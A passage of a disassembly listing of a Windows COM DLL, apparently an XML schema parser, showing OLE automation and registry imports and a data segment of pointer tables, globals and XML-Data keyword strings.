					; DATA XREF: DllUnregisterServer+3Fr ...
; void __stdcall SysFreeString(BSTR)
		extrn SysFreeString:dword ; CODE XREF: sub_69B1F708+DBp
					; sub_69B1F708+188p ...
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn VariantInit:dword	; CODE XREF: sub_69B2C800+4Ap
					; sub_69B2CFAA+C2p ...
; HRESULT __stdcall VariantChangeType(VARIANTARG *pvargDest, VARIANTARG	*pvarSrc, USHORT wFlags, VARTYPE vt)
		extrn VariantChangeType:dword ;	CODE XREF: sub_69B2CB01+10Ap
					; sub_69B45CD4+61p ...
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn VariantClear:dword ; CODE	XREF: sub_69B2CB01+A6p
					; sub_69B2CFAA+10Ep ...
; HRESULT __stdcall SetErrorInfo(ULONG dwReserved, IErrorInfo *perrinfo)
		extrn SetErrorInfo:dword ; CODE	XREF: sub_69B2CDEB+48p
					; sub_69B2D0C7+1Ap ...
; HRESULT __stdcall GetErrorInfo(ULONG dwReserved, IErrorInfo **pperrinfo)
		extrn GetErrorInfo:dword ; CODE	XREF: sub_69B2CDEB+39p
					; sub_69B832AA+3Cp ...
; HRESULT __stdcall CreateErrorInfo(ICreateErrorInfo **pperrinfo)
		extrn CreateErrorInfo:dword ; CODE XREF: sub_69B2D2C8+11p
					; DATA XREF: sub_69B2D2C8+11r ...
; BSTR __stdcall SysAllocString(const OLECHAR *)
		extrn SysAllocString:dword ; CODE XREF:	sub_69B1E82F+50p
					; sub_69B1E82F+64p ...
; BSTR __stdcall SysAllocStringLen(const OLECHAR *, UINT)
		extrn SysAllocStringLen:dword ;	CODE XREF: sub_69B1F708+87p
					; sub_69B1F708+EDp ...
; HRESULT __stdcall SafeArrayUnaccessData(SAFEARRAY *psa)
		extrn SafeArrayUnaccessData:dword ; CODE XREF: sub_69B2FC8D+57p
					; sub_69B30E5D+116p ...
; HRESULT __stdcall SafeArrayDestroy(SAFEARRAY *psa)
		extrn SafeArrayDestroy:dword ; CODE XREF: sub_69B2FC8D+35p
					; sub_69B56167+74p
					; DATA XREF: ...
; HRESULT __stdcall SafeArrayAccessData(SAFEARRAY *psa,	void **ppvData)
		extrn SafeArrayAccessData:dword	; CODE XREF: sub_69B2FC8D+27p
					; sub_69B30E5D+D2p ...
; SAFEARRAY *__stdcall SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG cElements)
		extrn SafeArrayCreateVector:dword ; CODE XREF: sub_69B2FC8D+Dp
					; sub_69B5642C+26p
					; DATA XREF: ...
; HRESULT __stdcall VarNumFromParseNum(NUMPARSE	*pnumprs, BYTE *rgbDig,	ULONG dwVtBits,	VARIANT	*pvar)
		extrn VarNumFromParseNum:dword ; CODE XREF: sub_69B2FCFF+86p
					; DATA XREF: sub_69B2FCFF+86r ...
; HRESULT __stdcall VarParseNumFromStr(OLECHAR *strIn, LCID lcid, ULONG	dwFlags, NUMPARSE *pnumprs, BYTE *rgbDig)
		extrn VarParseNumFromStr:dword ; CODE XREF: sub_69B2FCFF+38p
					; DATA XREF: sub_69B2FCFF+38r ...
; HRESULT __stdcall VarDateFromUdate(UDATE *pudateIn, ULONG dwFlags, DATE *pdateOut)
		extrn VarDateFromUdate:dword ; CODE XREF: sub_69B2FF1E+371p
					; DATA XREF: sub_69B2FF1E+371r	...
; HRESULT __stdcall VarUdateFromDate(DATE dateIn, ULONG	dwFlags, UDATE *pudateOut)
		extrn VarUdateFromDate:dword ; CODE XREF: sub_69B304F3+36p
					; sub_69B74C4C+93p
					; DATA XREF: ...
; HRESULT __stdcall VariantChangeTypeEx(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, LCID lcid, USHORT wFlags, VARTYPE vt)
		extrn VariantChangeTypeEx:dword	; CODE XREF: sub_69B3078B+31p
					; sub_69B30E5D+14Dp ...
; HRESULT __stdcall SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound)
		extrn SafeArrayGetUBound:dword ; CODE XREF: sub_69B30E5D+BBp
					; sub_69B7D8C5+131p
					; DATA XREF: ...
; HRESULT __stdcall SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound)
		extrn SafeArrayGetLBound:dword ; CODE XREF: sub_69B30E5D+A2p
					; sub_69B7D8C5+118p
					; DATA XREF: ...
; HRESULT __stdcall VariantCopy(VARIANTARG *pvargDest, VARIANTARG *pvargSrc)
		extrn VariantCopy:dword	; CODE XREF: sub_69B4662B+1Ap
					; sub_69B475B7+156p ...

;
; Delayed imports from ADVAPI32.dll
;
; LONG __stdcall RegDeleteValueA(HKEY hKey, LPCSTR lpValueName)
		extrn RegDeleteValueA:dword ; CODE XREF: sub_69B2BE45+5Fp
					; sub_69B2BE45+BDp
					; DATA XREF: ...
; LONG __stdcall RegDeleteKeyA(HKEY hKey, LPCSTR lpSubKey)
		extrn RegDeleteKeyA:dword ; CODE XREF: sub_69B2BE45+110p
					; sub_69B2BF77+106p
					; DATA XREF: ...
; LONG __stdcall RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,	LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition)
		extrn RegCreateKeyExA:dword ; CODE XREF: sub_69B2BD11+6Cp
					; sub_69B2BD11+FAp
					; DATA XREF: ...
; LONG __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_69B1A9C6+1Ap
					; sub_69B2B4A9+49p ...
; LONG __stdcall RegEnumValueA(HKEY hKey, DWORD	dwIndex, LPSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
		extrn RegEnumValueA:dword ; CODE XREF: sub_69B2B4A9+83p
					; DATA XREF: sub_69B2B4A9+83r ...
; LONG __stdcall RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE	*lpData, DWORD cbData)
		extrn RegSetValueExA:dword ; CODE XREF:	sub_69B2B4A9+1D3p
					; sub_69B2BD11+8Dp ...
; LONG __stdcall RegOpenKeyA(HKEY hKey,	LPCSTR lpSubKey, PHKEY phkResult)
		extrn RegOpenKeyA:dword	; CODE XREF: sub_69B2B23E+2Dp
					; sub_69B2B309+17p
					; DATA XREF: ...
; LONG __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_69B1A9C6+8377p
					; sub_69B1A9C6+8395p ...
; LONG __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_69B1A9C6+8435p
					; sub_69B2B23E+5Ep ...

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 69B92120h
		dd 0
dword_69B92124	dd 0				dd offset sub_69B1E686
		dd offset sub_69B114F6
		dd offset sub_69B11555
		dd offset sub_69B1165C
		dd offset sub_69B11747
		dd offset sub_69B117C2
		dd offset sub_69B1183D
		dd offset sub_69B118B8
		dd offset sub_69B11933
		dd offset sub_69B119AE
dword_69B92150	dd 0		dword_69B92154	dd 0				dd offset sub_69B1CFC6
dword_69B9215C	dd 0		dword_69B92160	dd 0		dword_69B92164	dd 0		dword_69B92168	dd 0		dword_69B9216C	dd 0		dword_69B92170	dd 0BB40E64Eh						; sub_69B1B814+9r ...
dword_69B92174	dd 1000h						; sub_69B2D846+A4r
dword_69B92178	dd 400h							; sub_69B2D846+71r
; BYTE Data
Data		dd 800h			; DATA XREF: sub_69B1A9C6:loc_69B1A9EEr
					; sub_69B1A9C6+8387o ...
dword_69B92180	dd 1000h						; sub_69B18C0C+A645r ...
		align 8
off_69B92188	dd offset off_69B1F328	; DATA XREF: sub_69B19E6E-BE7r
					; sub_69B19E6E+17Ar ...
		dd offset off_69B1F348
		dd offset off_69B17AD0
		dd offset off_69B17AE0
		dd offset off_69B17B50
		dd offset off_69B1F2C8
		dd offset off_69B17AF0
		dd offset off_69B1F2E0
		dd offset off_69B1F298
		dd offset off_69B17B10
		dd offset off_69B17B00
		dd offset off_69B17B20
		dd offset off_69B1F4FC
		dd offset off_69B1F524
		dd offset off_69B1A030
		dd offset off_69B1F3A0
		dd offset off_69B1F488
		dd offset off_69B1F4C0
		dd offset off_69B1F4E0
		dd offset off_69B1F26C
		dd offset off_69B17B30
		dd offset off_69B17B60
		dd offset off_69B1F368
		dd offset off_69B1F384
		dd offset off_69B1F3C0
		dd offset off_69B1F3E0
		dd offset off_69B1F400
		dd offset off_69B1F420
		dd offset off_69B1F444
		dd offset off_69B1F468
		dd offset off_69B1A5AC
		dd offset off_69B150B0
		dd offset off_69B1F4A0
		dd offset off_69B150B0
		dd offset off_69B150B0
dword_69B92214	dd 0		off_69B92218	dd offset dword_69B1F1F0 ; DATA	XREF: sub_69B1DFD8+Er
		dd offset libID
		dd 1, 5	dup(0)
; LPCWSTR off_69B92238
off_69B92238	dd offset aName		; DATA XREF: sub_69B1992C+7Ar
					; sub_69B1992C+C3Ar ...
					; "name"
		dd offset aType		; "type"
		dd offset aMaxoccurs	; "maxOccurs"
		dd offset aMinoccurs	; "minOccurs"
		dd offset dword_69B122A4
		dd offset aModel	; "model"
		dd offset aOpen		; "open"
		dd offset aClosed	; "closed"
		dd offset aContent	; "content"
		dd offset aMixed	; "mixed"
		dd offset aEmpty_0	; "empty"
		dd offset aEltonly	; "eltOnly"
		dd offset aTextonly	; "textOnly"
		dd offset aOrder	; "order"
		dd offset aGrouporder	; "groupOrder"
		dd offset aSeq		; "seq"
		dd offset aOne		; "one"
		dd offset aMany		; "many"
		dd offset aRequired	; "required"
		dd offset aYes		; "yes"
		dd offset aNo		; "no"
		dd offset aString	; "string"
		dd offset aId		; "id"
		dd offset aIdref	; "idref"
		dd offset aIdrefs	; "idrefs"
		dd offset aEntity_0	; "entity"
		dd offset aEntities	; "entities"
		dd offset aNmtoken	; "nmtoken"
		dd offset aNmtokens	; "nmtokens"
		dd offset aEnumeration	; "enumeration"
		dd offset aDefault_0	; "default"
		dd offset aRequiredvalue ; "requiredValue"
		dd offset aSchema_0	; "Schema"
		dd offset aElementtype	; "ElementType"
		dd offset aElement	; "element"
		dd offset aGroup	; "group"
		dd offset aAttributetype ; "AttributeType"
		dd offset aAttribute	; "attribute"
		dd offset aDatatype	; "datatype"
		dd offset aDescription	; "description"
		dd offset aExtends	; "extends"
		dd offset aSchema_0	; "Schema"
		dd offset aType		; "type"
		dd offset aValues	; "values"
		dd offset aMaxlength	; "maxLength"
		dd offset aMinlength	; "minLength"
		dd offset aMax		; "max"
		dd offset aMin		; "min"
		dd offset aMinexclusive	; "minExclusive"
		dd offset aMaxexclusive	; "maxExclusive"
dword_69B92300	dd 0				dd 10Bh
dword_69B92308	dd 4 dup(0)			dd 8, 0Bh
dword_69B92320	dd 4 dup(0)			dd 5, 0Bh
dword_69B92338	dd 4 dup(0)			dd 2Ah,	1
dword_69B92350	dd 4 dup(0)			dd 0Dh,	0Bh
dword_69B92368	dd 4 dup(0)			dd 2Bh,	8
dword_69B92380	dd 4 dup(0)			dd 2Ch,	1
dword_69B92398	dd 4 dup(0)			dd 2Dh,	1
dword_69B923B0	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B923C8	dd 5 dup(0)			dd 0Bh
dword_69B923E0	dd 4 dup(0)			dd 2Ah,	0Bh
dword_69B923F8	dd 4 dup(0)			dd 2Bh,	8
dword_69B92410	dd 4 dup(0)			dd 12h,	0Bh
dword_69B92428	dd 4 dup(0)			dd 1Eh,	1
dword_69B92440	dd 4 dup(0)			dd 2Ch,	1
dword_69B92458	dd 4 dup(0)			dd 2Dh,	1
dword_69B92470	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B92488	dd 4 dup(0)	dword_69B92498	dd 1, 10Bh	dword_69B924A0	dd 4 dup(0)			dd 3, 1
dword_69B924B8	dd 4 dup(0)			dd 2, 1
dword_69B924D0	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B924E8	dd 4 dup(0)	dword_69B924F8	dd 1, 0Bh	dword_69B92500	dd 4 dup(0)			dd 12h,	0Bh
dword_69B92518	dd 4 dup(0)			dd 1Eh,	1
dword_69B92530	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B92548	dd 4 dup(0)	dword_69B92558	dd 0Dh,	0Bh	dword_69B92560	dd 4 dup(0)			dd 3, 1
dword_69B92578	dd 4 dup(0)			dd 2, 1
dword_69B92590	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B925A8	dd 4 dup(0)	dword_69B925B8	dd 2Ah,	1	dword_69B925C0	dd 4 dup(0)			dd 2Ch,	1
dword_69B925D8	dd 4 dup(0)			dd 2Dh,	1
dword_69B925F0	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B92608	dd 4 dup(0)	dword_69B92618	dd 2Ah,	0Bh	dword_69B92620	dd 4 dup(0)			dd 2Ch,	1
dword_69B92638	dd 4 dup(0)			dd 2Dh,	1
dword_69B92650	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B92668	dd 4 dup(0)	off_69B92678	dd offset sub_69B1D244	; DATA XREF: sub_69B1E62Cr
dword_69B9267C	dd 0FFFFFFFFh						; sub_69B11F44+15w ...
off_69B92680	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+5w
off_69B92684	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+Aw
off_69B92688	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+14w
off_69B9268C	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+1Ew
off_69B92690	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+28w
off_69B92694	dd offset sub_69B86B56	; DATA XREF: sub_69B1144A+32w
; LPCRITICAL_SECTION lpCriticalSection
lpCriticalSection dd 0			; DATA XREF: sub_69B113FC+5o
					; sub_69B19BD6:loc_69B19BF5o ...
dword_69B9269C	dd 1				dd 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 22h dup(0)
dword_69B927B8	dd 0C0000005h, 0Bh, 0					; sub_69B1CD73+C6o ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_69B92830	dd 3A4h		dword_69B92834	dd 82798260h			dd 21h,	0
dword_69B92840	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
; HMODULE hModule
hModule		dd 0			; DATA XREF: sub_69B1B7AD+1Ew
					; sub_69B1B814+2Cr ...
; __int32 dword_69B92924
dword_69B92924	dd 0							; sub_69B2C55A+5o
byte_69B92928	db 0			; DATA XREF: DllCanUnloadNowr
					; sub_69B1E3D1:loc_69B1E461w
		align 4
dword_69B9292C	dd 0		; resolved to->KERNEL32.UnhandledExceptionFilter					; sub_69B2C4E2+11r
dword_69B92930	dd 0		; __int32 dword_69B92934
dword_69B92934	dd 0							; sub_69B1E21Er ...
; HANDLE hHeap
hHeap		dd 0			; DATA XREF: sub_69B1127C+Ar
					; sub_69B19E4E+Dr ...
dword_69B9293C	dd 0							; Ordinal12+19w ...
dword_69B92940	dd 0							; sub_69B19D0A+4Fr ...
dword_69B92944	dd 0							; sub_69B18E72+3Ar ...
dword_69B92948	dd 0							; sub_69B18E72+7r ...
dword_69B9294C	dd 0		; resolved to->KERNEL32.InterlockedExchangeAdd					; sub_69B1906C+1Ar ...
dword_69B92950	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_69B1CA7C+F3w ...
dword_69B92954	dd 0							; sub_69B1B814+67r ...
dword_69B92958	dd 0							; sub_69B1CC44+6021r ...
; LPVOID dword_69B9295C
dword_69B9295C	dd 0							; sub_69B1B0B5:loc_69B1B0D9r ...
; DWORD	dwTlsIndex
dwTlsIndex	dd 0			; DATA XREF: sub_69B11D3B+1r
					; sub_69B11E73r ...
; __int32 dword_69B92964
dword_69B92964	dd 0							; sub_69B1CC44+5FC4r ...
dword_69B92968	dd 0							; sub_69B1CA7C+38w
dword_69B9296C	dd 0							; DllGetClassObject:loc_69B1C5EAr ...
dword_69B92970	dd 0							; sub_69B11E73+6r ...
dword_69B92974	dd 0							; sub_69B1CC44+57r ...
dword_69B92978	dd 0							; sub_69B17F2C+29r ...
dword_69B9297C	dd 0							; sub_69B1CA7C+6248w ...
dword_69B92980	dd 0							; sub_69B1CC44:loc_69B22C59r
; LPVOID dword_69B92984
dword_69B92984	dd 0							; sub_69B18CB3:loc_69B18D99r ...
byte_69B92988	db 0			; DATA XREF: sub_69B18CB3+61w
					; sub_69B18CB3+156r ...
		align 4
dword_69B9298C	dd 0							; sub_69B18CB3:loc_69B1E316r ...
; LPVOID lpMem
lpMem		dd 0			; DATA XREF: sub_69B18CB3+68r
					; sub_69B1A975+1Fw ...
dword_69B92994	dd 0							; sub_69B18CB3+F0r ...
byte_69B92998	db 0			; DATA XREF: sub_69B1B0B5+5Br
					; sub_69B1B0B5:loc_69B1B142r ...
		align 4
dword_69B9299C	dd 0							; sub_69B183E6+37r ...
dword_69B929A0	dd 0							; sub_69B18C0C+1Dr ...
byte_69B929A4	db 0			; DATA XREF: sub_69B11F7F+1Cw
					; sub_69B18459r
		align 4
dword_69B929A8	dd 0							; sub_69B192E9:loc_69B11D78r ...
dword_69B929AC	dd 0							; sub_69B18C0C+6Dr ...
dword_69B929B0	dd 0							; sub_69B1B480-26w ...
dword_69B929B4	dd 0							; sub_69B1B480+3Aw ...
dword_69B929B8	dd 0							; sub_69B18C0C+A652r ...
byte_69B929BC	db 0			; DATA XREF: sub_69B18C0C+7Fr
					; sub_69B18CB3+1Ar ...
byte_69B929BD	db 0			; DATA XREF: sub_69B18C0C+4Fr
					; sub_69B18CB3:loc_69B18D8Cr ...
		align 10h
; __int32 Target
Target		dd 0			; DATA XREF: sub_69B1B193+Eo
					; sub_69B2D96E+Eo
dword_69B929C4	dd 0							; sub_69B18CB3+EBw ...
; HANDLE hObject
hObject		dd 0			; DATA XREF: sub_69B19A23+7Aw
					; sub_69B19A23+9Br ...
byte_69B929CC	db 0			; DATA XREF: sub_69B18980r
					; sub_69B1ABFE+1Dw
		align 10h
dword_69B929D0	dd 0							; sub_69B18CB3+45r ...
dword_69B929D4	dd 0							; sub_69B18CB3+35r ...
dword_69B929D8	dd 0							; sub_69B19A23+29w ...
dword_69B929DC	dd 0							; sub_69B19A23+23w ...
dword_69B929E0	dd 0							; sub_69B19A23+1Dw ...
dword_69B929E4	dd 0							; sub_69B19A23+17w ...
dword_69B929E8	dd 0							; sub_69B19A23+11w ...
dword_69B929EC	dd 0							; sub_69B188DC+29w ...
dword_69B929F0	dd 0							; sub_69B1D9E6+Cr ...
dword_69B929F4	dd 0							; sub_69B1D8D5+4r ...
dword_69B929F8	dd 0							; sub_69B1C352+3Er ...
		dd 7FFh	dup(0)
dword_69B949F8	dd 0							; sub_69B1829F+Br ...
dword_69B949FC	dd 0							; sub_69B1ABFE:loc_69B23894w
dword_69B94A00	dd 0							; sub_69B1B1F3:loc_69B1B22Co ...
		dd 3FFh	dup(0)
byte_69B95A00	db 0			; DATA XREF: sub_69B1B1F3:loc_69B1B21Fr
					; sub_69B1B1F3+6Cw ...
		align 4
dword_69B95A04	dd 0							; sub_69B1D319r ...
; LPCVOID lpSource
lpSource	dd 0			; DATA XREF: sub_69B1B814+D0w
					; sub_69B1B814:loc_69B1B90Er ...
; __int32 dword_69B95A0C
dword_69B95A0C	dd 0							; sub_69B70438:loc_69B704A9r ...
		dd 0
dword_69B95A14	dd 0							; sub_69B1889C+5r ...
; __int32 dword_69B95A18
dword_69B95A18	dd 0							; sub_69B195DA+2Co ...
		align 10h
dword_69B95A20	dd 0							; sub_69B195DA+2r ...
; __int32 dword_69B95A24
dword_69B95A24	dd 0							; sub_69B1D4E5+1Co ...
		dd 0
; __int32 dword_69B95A2C
dword_69B95A2C	dd 2 dup(0)	; __int32 dword_69B95A34
dword_69B95A34	dd 0							; sub_69B1992C+FC6r ...
		dd 0
; __int32 dword_69B95A3C
dword_69B95A3C	dd 0							; sub_69B1992C+C34r ...
		dd 0
; __int32 dword_69B95A44
dword_69B95A44	dd 0							; sub_69B19E6E+3900r ...
		dd 0
; __int32 dword_69B95A4C
dword_69B95A4C	dd 0							; sub_69B19E6E+393Er ...
		dd 0
; __int32 dword_69B95A54
dword_69B95A54	dd 0							; sub_69B1992C+1001r ...
		dd 0
; __int32 dword_69B95A5C
dword_69B95A5C	dd 0							; sub_69B19E6E+3890r ...
		dd 0
; __int32 dword_69B95A64
dword_69B95A64	dd 0							; sub_69B19E6E+9Ao ...
		dd 0
; __int32 dword_69B95A6C
dword_69B95A6C	dd 0							; sub_69B19E6E+82o ...
		dd 0
; __int32 dword_69B95A74
dword_69B95A74	dd 0							; sub_69B4D2B6+4r
		dd 0
; __int32 dword_69B95A7C
dword_69B95A7C	dd 0							; sub_69B8DF85+108r
		dd 0
; __int32 dword_69B95A84
dword_69B95A84	dd 0							; sub_69B173D1+35Cr ...
		dd 0
; __int32 Addend
Addend		dd 0			; DATA XREF: sub_69B1BCE3+DCo
					; sub_69B3F305+8o
dword_69B95A90	dd 4 dup(0)						; sub_69B40E6F+70o ...
; __int32 dword_69B95AA0
dword_69B95AA0	dd 0							; sub_69B40E6F+67o ...
		align 10h
; __int32 dword_69B95AB0
dword_69B95AB0	dd 0							; sub_69B1BB42+10r ...
		align 8
; __int32 dword_69B95AB8
dword_69B95AB8	dd 0							; sub_69B1992C+Er ...
		align 10h
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <0> ; DATA XREF: sub_69B1E4CF+18o
					; sub_69B1E533+8o ...
dword_69B95AD8	dd 0							; sub_69B1E4CF+6694r ...
dword_69B95ADC	dd 0							; sub_69B1E4CF+6642r ...
dword_69B95AE0	dd 0							; sub_69B1E533r ...
; HANDLE pHandles
pHandles	dd 0			; DATA XREF: sub_69B1E4CF+31o
					; StartAddress+34o ...
; HANDLE hEvent
hEvent		dd 0			; DATA XREF: sub_69B1E4CF:loc_69B1E4EEo
					; sub_69B1E533:loc_69B24AC7r ...
word_69B95AEC	dw 0			; DATA XREF: sub_69B1E4CF:loc_69B1E516r
					; sub_69B1E4CF+667Cw ...
		align 10h
; HANDLE dword_69B95AF0
dword_69B95AF0	dd 0							; sub_69B1E533+65A7o ...
dword_69B95AF4	dd 0							; sub_69B1B625+107r ...
dword_69B95AF8	dd 0							; sub_69B1949B+61r ...
dword_69B95AFC	dd 0							; sub_69B1B625+77r ...
dword_69B95B00	dd 0							; sub_69B1B625:loc_69B24B9Fw
dword_69B95B04	dd 0		dword_69B95B08	dd 0							; sub_69B1B625:loc_69B1B6A9r ...
dword_69B95B0C	dd 0							; sub_69B1B625+8Cr
dword_69B95B10	dd 0		dword_69B95B14	dd 0		dword_69B95B18	dd 0							; sub_69B1949B:loc_69B24ED2r ...
dword_69B95B1C	dd 0		byte_69B95B20	db 0			; DATA XREF: sub_69B1BA12+2Dw
		align 4
dword_69B95B24	dd 0							; sub_69B1BA12+24w
dword_69B95B28	dd 0							; sub_69B1BA12:loc_69B24CF3w
dword_69B95B2C	dd 0							; sub_69B1CD73+7Cw ...
dword_69B95B30	dd 0							; sub_69B1CD73+55r ...
dword_69B95B34	dd 0							; sub_69B1CD73+72w ...
dword_69B95B38	dd 0							; sub_69B1CD73+5Cw ...
		align 10h
; char Filename[]
Filename	db 104h	dup(0)		; DATA XREF: sub_69B1CF24+1Co
byte_69B95C44	db 0			; DATA XREF: sub_69B1CF24+23w
		align 4
dword_69B95C48	dd 0							; sub_69B112C0+2Cw ...
		align 10h
dword_69B95C50	dd 54h dup(0)	dword_69B95DA0	dd 0							; sub_69B1CFE4+38w ...
dword_69B95DA4	dd 0		; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_69B19C19+5051w ...
dword_69B95DA8	dd 0							; sub_69B1ECB1+32w ...
dword_69B95DAC	dd 0							; sub_69B1AEC4+35w ...
ADVAPI32_dll_handle dd 0		; DATA XREF: .text:69B9046Co
dword_69B95DB4	dd 0							; sub_69B1AA33+D5r ...
dword_69B95DB8	dd 0							; sub_69B19189+85r ...
dword_69B95DBC	dd 0							; sub_69B1CFE4:loc_69B1D19Aw ...
dword_69B95DC0	dd 0							; sub_69B1D0A4+64w ...
		dd 7 dup(0)
byte_69B95DE0	db 0			; DATA XREF: sub_69B1D0A4+4Ao
					; sub_69B1CFE4+18Dr ...
byte_69B95DE1	db 0			; DATA XREF: sub_69B19189:loc_69B19170w
					; sub_69B19189:loc_69B1926Bw ...
		align 4
		dd 40h dup(0)
; UINT CodePage
CodePage	dd 0			; DATA XREF: sub_69B19189+Er
					; sub_69B19189+56r ...
		align 10h
word_69B95EF0	dw 0			; DATA XREF: sub_69B1D0A4+6Co
					; sub_69B1CFE4+14Fr ...
		align 10h
byte_69B95F00	db 0			; DATA XREF: sub_69B19189:loc_69B1917Ew
					; sub_69B19189+D3w ...
		align 4
		dd 3Fh dup(0)
; HANDLE dword_69B96000
dword_69B96000	dd 0							; sub_69B19587+2Er ...
dword_69B96004	dd 0							; sub_69B19587:loc_69B1959Cr ...
; UINT uNumber
uNumber		dd 0			; DATA XREF: sub_69B11383+36w
					; sub_69B11383+B196r ...
		dd 5 dup(0)
dword_69B96020	dd 0							; sub_69B11383+5Fr ...
		dd 3Fh dup(0)
dword_69B96120	dd 0							; sub_69B1949B+3D51w
dword_69B96124	dd 0							; sub_69B1BA12+92CDr
dword_69B96128	dd 0							; sub_69B1CF24+Ar ...
dword_69B9612C	dd 0							; sub_69B1CF24+30r
dword_69B96130	dd 0							; sub_69B1BAE5:loc_69B1BABBr
		align 8
dword_69B96138	dd 20h							; sub_69B5B878+4Ao ...
		align 10h
		dd offset dword_69B12AA8
		dd offset dword_69B96338
dword_69B96148	dd 4 dup(0)	dword_69B96158	dd 4 dup(0)	dword_69B96168	dd 4 dup(0)	dword_69B96178	dd 21h,	0			dd offset dword_69B12AA8+0Ch
		dd offset dword_69B92300
dword_69B96188	dd 4 dup(0)	dword_69B96198	dd 4 dup(0)	dword_69B961A8	dd 4 dup(0)			dd 24h,	0
		dd offset dword_69B12AA8+24h
		dd offset dword_69B923C8+10h
dword_69B961C8	dd 4 dup(0)	dword_69B961D8	dd 4 dup(0)	dword_69B961E8	dd 4 dup(0)			dd 22h,	2 dup(0)
		dd offset dword_69B92498
dword_69B96208	dd 4 dup(0)	dword_69B96218	dd 4 dup(0)	dword_69B96228	dd 4 dup(0)			dd 25h,	2 dup(0)
		dd offset dword_69B924F8
dword_69B96248	dd 4 dup(0)	dword_69B96258	dd 4 dup(0)	dword_69B96268	dd 4 dup(0)			dd 23h,	0
		dd offset dword_69B12AA8+2Ch
		dd offset dword_69B92558
dword_69B96288	dd 4 dup(0)	dword_69B96298	dd 4 dup(0)	dword_69B962A8	dd 4 dup(0)			dd 26h,	2 dup(0)
		dd offset dword_69B925B8
dword_69B962C8	dd 4 dup(0)	dword_69B962D8	dd 4 dup(0)	dword_69B962E8	dd 4 dup(0)			dd 26h,	2 dup(0)
		dd offset dword_69B92618
dword_69B96308	dd 4 dup(0)	dword_69B96318	dd 4 dup(0)	dword_69B96328	dd 4 dup(0)	dword_69B96338	dd 0				dd 1
dword_69B96340	dd 4 dup(0)			dd 16h,	0Bh
dword_69B96358	dd 4 dup(0)			dd 0FFFFFFFFh, 0
dword_69B96370	dd 4 dup(0)	off_69B96380	dd offset sub_69B55F23	; DATA XREF: sub_69B1AA33+AD8Cr
					; sub_69B1AA33+AE54r
; BYTE dword_69B96384
dword_69B96384	dd 800h							; sub_69B1A9C6:loc_69B22DA2r ...
off_69B96388	dd offset aNull		; DATA XREF: sub_69B2F00B+Er
					; sub_69B2F099+2r
					; "null"
		align 10h
; LPCWSTR off_69B96390
off_69B96390	dd offset word_69B26224	; DATA XREF: sub_69B2FB4C+4r
					; sub_69B30DEE+49r
		dd offset aString	; "string"
		dd offset aId		; "id"
		dd offset aIdref	; "idref"
		dd offset aIdrefs	; "idrefs"
		dd offset aEntity_0	; "entity"
		dd offset aEntities	; "entities"
		dd offset aNmtoken	; "nmtoken"
		dd offset aNmtokens	; "nmtokens"
		dd offset aNotation_0	; "notation"
		dd offset aEnumeration	; "enumeration"
		dd offset aName		; "name"
		dd offset aBin_base64	; "bin.base64"
		dd offset aBin_hex	; "bin.hex"
